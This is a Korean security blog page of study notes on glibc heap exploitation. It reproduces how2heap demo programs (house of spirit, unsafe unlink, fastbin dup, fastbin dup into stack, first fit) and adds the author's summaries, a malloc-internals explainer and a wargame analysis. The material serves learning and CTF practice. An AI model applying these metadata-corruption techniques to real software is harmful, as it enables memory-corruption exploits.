[how2heap] house_of_spirit

공부 2016. 12. 28. 22:38
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file demonstrates the house of spirit attack.\n");

	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);

	printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
	fake_chunks[9] = 0x2240; // nextsize

	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	printf("malloc(0x30): %p\n", malloc(0x30));
}


정리.


stack이나 bss영역이나 쓰기가능 한 곳에 fake청크를 만들어서 ptr를 덮어씌워 free시키면 free list에 주소가 저장되므로


다음 malloc때 해당 영역에 할당되게 된다.

'공부' 카테고리의 다른 글

정보보안기사 정리  (0) 2017.04.20
[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

원본 : link


[glibc] 동적 메모리 관리 (1)

http://studyfoss.egloos.com/5206220

glibc: 2.10.1
arch: x86


이번에는 GNU C library (이하 glibc)에서 동적 메모리를 관리하는 방식에 대해서 살펴볼 것이다.
(여기서 설명하는 내용은 32비트 머신 환경에 해당하며 64비트 환경의 경우 차이가 있을 수 있다.)

glibc 내에 포함된 동적 메모리 할당자 (malloc) 모듈은
Doug Lea가 최초로 작성한 구현(이름의 앞자를 따서 dlmalloc이라고 부른다)을
Wolfram Gloger가 UNIX multi-thread 환경을 고려하여 수정한 ptmalloc2를 기반으로 작성되었다.

동적 메모리로 할당되는 영역(chunk)은 내부적으로 해당 chunk에 대한 metadata를 저장하기 위한
공간을 포함하는데 가장 중요한 정보는 해당 chunk의 크기이다.
malloc() 호출 시에는 원하는 영역의 크기를 지정하지만 free() 호출 시에는 단순히 포인터 만을 넘기는 것에서 알 수 있듯이
malloc()으로 (물론 calloc/realloc 등도 동일하다) 할당된 영역 어딘가에는 크기 정보가 포함되어 있다.

실제로 malloc() 호출 시에는 실제로 필요한 영역 + 크기를 저장하기 위한 헤더까지 포함한 크기의
chunk가 할당되며 따라서 (32bit) x86 아키텍처에서는 (최소) 4 바이트 만큼의 공간이 더 필요하다.
각 chunk는 8바이트 단위로 정렬(align)되기 때문에 실제 크기는 좀 더 커질 수 있다.

또한 free memory에 해당하는 chunk를 관리하기 위한 doubly linked list와
물리적으로 인접한 이전(prev) chunk를 병합할 때 사용하는 필드까지 포함하면
할당될 수 있는 최소 chunk의 크기는 16바이트이다.
(이 경우 user가 사용 가능한 영역의 최대 크기는 12바이트가 된다.)

실제로 사용되는 malloc_chunk 구조체는 다음과 같이 정의되어 있다.

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

malloc_chunk 자료 구조가 사용되는 방식은 약간 혼동스럽기 때문에 아래의 그림을 참조하면 좋을 것이다.
malloc_chunk가 사용자에게 할당되면 오직 size 필드 만의 의미있는 값을 가진다. (할당된 chunk의 크기)
다른 영역은 무시되며 해당 메모리 영역이 free() 되었을 때 의미있는 정보가 기록된다.


제일 처음에 나오는 prev_size 필드는 해당 chunk 바로 앞에 위치한 이전 chunk의 크기이다.
(당연한 얘기이지만 여기서 말하는 이전 chunk란 list로 연결된 chunk가 아니라
물리적으로 연속된 주소에 위치한 chunk를 말한다.)
이 필드는 이전 chunk가 free() 되었을 때 설정되며
이를 통해 이전 chunk의 헤더 위치를 손쉽게 찾을 수 있기 때문에
chunk를 통합하는 경우에 유용하게 사용될 수 있다.

다음은 size 필드로 현재 chunk의 크기를 나타내며 malloc() 시에 설정된다.
앞서 말한대로 각 chunk는 8바이트 단위로 정렬되므로 하위 3비트는 특별한 용도로 사용한다.
따라서 실제 chunk의 크기를 구하려면 하위 3비트를 무시해야 한다.

그림에서 P 플래그는 이전 chunk가 사용 중인지 여부를 나타내는 것이다. (PREV_INUSE)
즉 이 플래그가 지워져 있으면 이전 chunk는 free chunk라는 의미가 된다.
M 플래그는 해당 필드가 mmap() 시스템 콜을 통해 할당된 것인지를 나타낸다. (IS_MMAPPED)
나중에 살펴보겠지만 mmap()으로 할당된 chunk는 약간 다른 방식으로 관리된다.
N 플래그는 multi-thread application에서 각 thread마다 다른 heap 영역을 사용하는 경우
현재 chunk가 main heap (arena)에 속하는지 여부를 나타낸다. (NON_MAIN_ARENA)

#define PREV_INUSE       0x1
#define IS_MMAPPED       0x2
#define NON_MAIN_ARENA   0x4

#define SIZE_BITS        (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
#define chunksize(p)     ((p)->size & ~(SIZE_BITS))

다음에 나오는 필드들은 모두 free chunk에서 사용하는 것이며
malloc()으로 할당되었을 때는 단순히 무시되고 사용자 데이터를 위한 공간으로 사용된다.
fd와 bk는 각각 forward, backward pointer를 의미하는 것이며
fd_nextsize와 bk_nextsize도 동일하지만 상대적으로 큰 크기의 chunk에서만 사용된다.

특이한 것은 다음 chunk의 prev_size 필드도 현재 chunk의 데이터 영역으로 사용된다는 것이다.
사실 개념적으로는 이 부분도 현재 chunk에 속하며, (그림에서 <actual chunk> 부분)
free() 시에는 현재 chunk의 크기를 (중복하여) 저장하는 용도로 사용된다. (단 플래그는 제외)
(이를 boundary tag 기법이라고 한다.)
또한 free() 시에는 다음 chunk의 PREV_INUSE 비트 (P 플래그)를 지워야 하며
prev_size 필드는 오직 P 플래그가 지워진 경우에만 사용되어야 한다.

이렇게 할당된 chunk들은 이후에 free()를 통해 해지되면 bin이라는 구조를 통해 관리된다.
bin은 사실 각 chunk의 fd, bk 필드로 연결된 doubly-linked list일 뿐이며
chunk의 크기에 따라 총 126개로 분리된다. (첫 번째 bin은 특별한 용도로 사용된다.)

이는 또 small bin과 large bin으로 나누어 지는데
small bin은 chunk 크기 기준으로 512 바이트 미만인 것들이 8 바이트 단위로 구분되는데
최소 크기인 16 바이트부터, 24, 32, 48, ..., 504 바이트 까지 총 62개의 bin으로 구성된다.

개념적으로 bin의 구성은 다음과 같다. (코드 내의 주석에서 발췌)
총 127 개 중에서 제일 처음 bin은 특별한 용도로 사용되므로 126개 만 사용된다.
또한 small bin에 속하는 8 바이트 단위의 bin이 64개라고 표현되어 있으나
실제로는 (chunk의 최소 크기 제한으로 인해) 0과 8에 해당하는 첫 2개가 존재하지 않으므로
위에서 말한대로 62개만 사용된다. 아래의 데이터는 단지 개념적으로 구조를 이해하기 위한 것이다. 

    64 bins of size       8
    32 bins of size      64
    16 bins of size     512
     8 bins of size    4096
     4 bins of size   32768
     2 bins of size  262144
     1 bin  of size what's left

512 바이트 이상의 크기를 가지는 chunk를 위한 large bin은
small bin처럼 동일한 크기의 chunk만을 포함하는 것이 아니라
해당 index가 나타내는 크기보다 작은 크기의 chunk들은 모두 포함한다.
즉, 4KB를 위한 bin이 있다면 이는 정확히 4096 바이트 크기의 chunk 만을 포함하는 것이 아니라
4088, 4000, 3968 등의 크기를 가지는 chunk들도 포함한다는 것을 뜻한다.
다만 이들은 할당의 효율성을 위해 해당 bin 내에서 크기 별로 정렬(sort)된다.

이 때 fd_nextsize와 bk_nextsize 필드가 이용되며
이들은 현재 bin 내에서 크기가 다른 첫 번째 chunk에 대한 포인터를 저장한다.

이러한 bin들은 해당 bin 내에 이용 가능한 free chunk가 있는지 빨리 조사하기 위해
별도의 bitmap을 유지하여 관리한다. 해당 bin 내에 free chunk가 없다면
그 보다 큰 bin 내의 가장 작은 chunk를 빨리 찾기 위해 이를 이용할 수 있다.

위에서 말한대로 첫 번째 bin은 unsorted chunk의 list로 사용된다.
이는 일종의 cache와 같은 것으로 일단 free() 된 chunk는 곧바로 해당 bin으로 들어가지 않고
먼저 unsorted chunk list에 들어가며 이 후의 메모리 할당 시
동일한 크기의 영역을 다시 요청하는 경우에는 이를 바로 재사용하도록 한다.
이는 FIFO (queue)와 같은 방식으로 동작하며, 일단 검색된 chunk는 바로 할당(재사용)되거나
아니면 원래의 bin으로 돌아가게 된다. 즉, 단 한 번의 재사용 기회 만이 주어진다.

또한 small bin에 속하는 chunk 중에서 (기본값) 72 바이트 이하의 크기를 가지는 chunk는
fast bin이라고하는 또 다른 cache를 통해 관리되는데,
이는 malloc() 및 free() 시에 가장 먼저 조사하는 bin으로써
속도를 높이기 위해 single-linked list로 구성되며 LIFO (stack)와 같은 방식으로 동작한다.
fast bin 내의 chunk들은 unsorted bin과 달리 (특정한 조건에 의해) 병합(consolidation)이 일어나지 않는 한
계속 bin 내에 남아서 요청을 수행할 수 있다.

이상의 여러 자료 구조들을 그림을 나타내면 대략 다음과 같다.
(그림에는 편의를 위해 약간의 오류가 숨어있다. 대강 의미만 파악하자..;;)


그 밖에 (기본값) 128KB 이상의 큰 메모리를 요청하는 경우에는
heap을 이용하지 않고 mmap() 시스템 콜을 통해 별도의 메모리 영역을 할당하여
chunk를 만들고 이를 사용자에게 반환하며, 이러한 chunk들은 bin 내에 속하지 않는다.
이러한 chunk들은 IS_MMAPPED 플래그로 쉽게 확인할 수 있기 때문에
free() 시에 단순히 munmap()을 호출하여 메모리 영역을 해지한다.

또한 모든 chunk의 맨 마지막에는 top chunk가 존재하는데
top chunk는 어떠한 bin에도 속하지 않으며 heap 영역의 마지막에 위치한다.
다른 free chunk들이 메모리 할당 요청을 만족하지 못하는 경우에만
top chunk를 분할하여 요청을 처리하며, 현재 top chunk 크기로도 처리할 수 없는 경우에는
sbrk() 함수를 통해 heap 영역을 확장하여 top chunk의 크기를 늘린후 요청을 처리한다.

=== 참고 문헌 ===


'자료' 카테고리의 다른 글

[Library] vcpkg  (0) 2017.07.26
Windbg 명령어  (0) 2017.01.31
[Heap] how2heap (shellpish)  (0) 2016.12.25
[Linux] rootkit 자료 (펌)  (0) 2016.11.30
[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] unsafe unlink

공부 2016. 12. 26. 19:10
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);
}



정리.


힙 청크 구조는 아래와 같다.


struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};


먼저 unlink를 우회하기 위해서 fd, bk를 자기 자신으로 작성한다.


그 다음에 chunk1을 조작해서 prev_in_use bit (이전 chunk가 free 되있는지)와 prev_size를 지정해준다.


그런 다음에 free를 해주게 되는데 chunk0(free 함수를 속임)와 chunk1이 free되었기 때문에


위와 malloc_chunk의 fd, bk를 사용할 수 있다. 즉, 자기 fd값을 덮어씌우게 되면 어디든지 가리킬 수 있게 된다.



아래는 이해하기 위해서 만든 poc


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "./how2heap/dumpcode.h"

uint64_t *a;

int main(){
    uint64_t *b;
    int head_size = 0x02;

    a = malloc(0x80);
    b = malloc(0x80);

    dumpcode(a - head_size, 0x80);
    dumpcode(b - head_size, 0x80);

    a[2] = (uint64_t)&a - sizeof(uint64_t) * 3;
    a[3] = (uint64_t)&a - sizeof(uint64_t) * 2;

    uint64_t *ptr = b - head_size;

    ptr[0] = (uint64_t)0x80;
    ptr[1] &= ~1; // in use option disable.

    free(b);

    dumpcode(a - head_size, 0x160);

    printf("Yeah %p\n", a[3]);
    a[3] = (uint64_t)&head_size;
    a[0] = 9505;
    printf("is changed? %d\n", head_size);

    return 0;
}


'공부' 카테고리의 다른 글

[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	printf("1st malloc(8): %p\n", d);
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("Now the free list has [ %p ].\n", a);
	printf("Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	printf("4rd malloc(8): %p\n", malloc(8));
}



정리.


먼저 fast bin dup을 진행해준 다음 다시 할당을 하게 되면 top에 있는 a 주소를 조작할 수 있게 된다.


그럼 거기에 fake chunk address를 집어넣어준 상태에서 할당을 진행 하게 되면


free list에서스택에서 할당을 진행하게 된다.


하지만 Ubuntu 16.04 버전에서 확인한 결과 memory corruption이 뜬다.


아마도 다른 영역(bss)를 사용하는게 좋을 듯하다.


실험 삼아서 사용자가 원하는 주소로 덮어씌울 수 있게 했더니 Segmetation Fault가 떴다.


내가 Ubuntu 16.04 버전을 사용중인데,


puts나 printf 함수에서 malloc을 사용하는 것을 볼 수 있었다.


내가 맨 마지막에 malloc 두번을 한거에서 할당이 되어야 작동이 될텐데,


puts, printf 함수에서 malloc이 내부적으로 사용되니까 안되던 것이다.


아래는 메모리 구조 사진



'공부' 카테고리의 다른 글

[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] fastbin dup

공부 2016. 12. 25. 20:23
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	printf("1st malloc(8): %p\n", malloc(8));
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("3rd malloc(8): %p\n", malloc(8));
}



정리.


할당된 영역을 free를 하게 되면 free list에 주소가 들어가게 되는데 이게 링크드 리스트라서 head 주소 밖에 검사를 안하는 듯하다.


그래서 다른 주소를 free한번 해주고 다시 free 시켜주면 dup이 가능하다.

'공부' 카테고리의 다른 글

[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] first_fit

공부 2016. 12. 25. 19:54
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	printf("glibc uses a first-fit algorithm to select a free chunk.\n");
	printf("If a chunk is free and large enough, malloc will select this chunk.\n");
	printf("This can be exploited in a use-after-free situation.\n");

	printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;

	printf("1st malloc(512): %p\n", a);
	printf("2nd malloc(256): %p\n", b);
	printf("we could continue mallocing here...\n");
	printf("now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	printf("first allocation %p points to %s\n", a, a);

	printf("Freeing the first one...\n");
	free(a);

	printf("We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

	printf("So, let's allocate 500 bytes\n");
	c = malloc(500);
	printf("3rd malloc(500): %p\n", c);
	printf("And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	printf("3rd allocation %p points to %s\n", c, c);
	printf("first allocation %p points to %s\n", a, a);
	printf("If we reuse the first allocation, it now holds the data from the third allocation.");
}



정리.



청크가 free가 되있고 충분히 크다면 원래 크기보다 작은 크기가 할당이 됐을 때


first_fit 알고리즘을 사용해서 free된 청크의 동일한 주소에 할당이 된다. (UAF)

'공부' 카테고리의 다른 글

[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
gs 베이스 주소 구하기  (0) 2016.05.09
블로그 이미지

KuroNeko_

KuroNeko

,

[Heap] how2heap (shellpish)

자료 2016. 12. 25. 02:04
반응형
link

'자료' 카테고리의 다른 글

Windbg 명령어  (0) 2017.01.31
[펌] 동적 메모리 관리  (0) 2016.12.26
[Linux] rootkit 자료 (펌)  (0) 2016.11.30
[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
주로 사용하는 헤더들  (0) 2016.05.18
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

분석을 한 이틀 정도한거 같은데 어디서 취약점이 나오는지 전혀 모르겠다.


일단 동작순서부터 설명하도록 하겠다.



LFH 클래스에서 Bucket 이 있는데 이건 같은 사이즈의 Chunk들을 가지고 있는 집합이다.


이 버킷이 꽉 차있을 때 next bucket으로 이동해서 청크사이즈를 확인 후 같은 사이즈면서 꽉 차있지 않다면 할당을 해준다.


또 Bucket과 chunk address, next 포인터를 가진 META 구조체가 있는데 그냥 wrapper니까 별 다른건 없다



Bucket 생성자에서는 Bucket이 가지는 기준 memory를 mmap(RW, 0x4000 bytes)을 통해 생성한다.


처음에는 이걸 가지고 힙스프레이로 이용할 수 있을까 싶었지만 아래에서 RW 속성도 없는 guard page가 생성된다.


실제 메모리 영역들을 살펴보게 되면 아래와 같다.


 guard page

standard memeory


그리고 현재 사용중인 영역을 bitarray라는 변수(char *)를 total chunk만큼 할당해주고 Allocate할 때 bit연산으로 사용중임을 표시해준다.



여기까지가 분석인데, 별다른 건 없어보인다.


아마 


        while(p){

                p2 = p->next;

                p->fptr(p);             // typical destructor for objects.

                p = p2;

        }



이 부분에서 p->fptr(p); 이걸로 트리거링을 해야할 것 같다만.. 어떻게 변경하냐는 거다.


소스코드 분석을 더해보면 content_len만큼 할당해주고 is_unicode 가 true일 때 2배로 입력 받는걸 알 수 있다.


여기서 뭔가 발생할 것 같다만.. 전혀 아닌 것 같다.


막상 힙에서 덮어씌워질 게 없으니까 막막함...

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,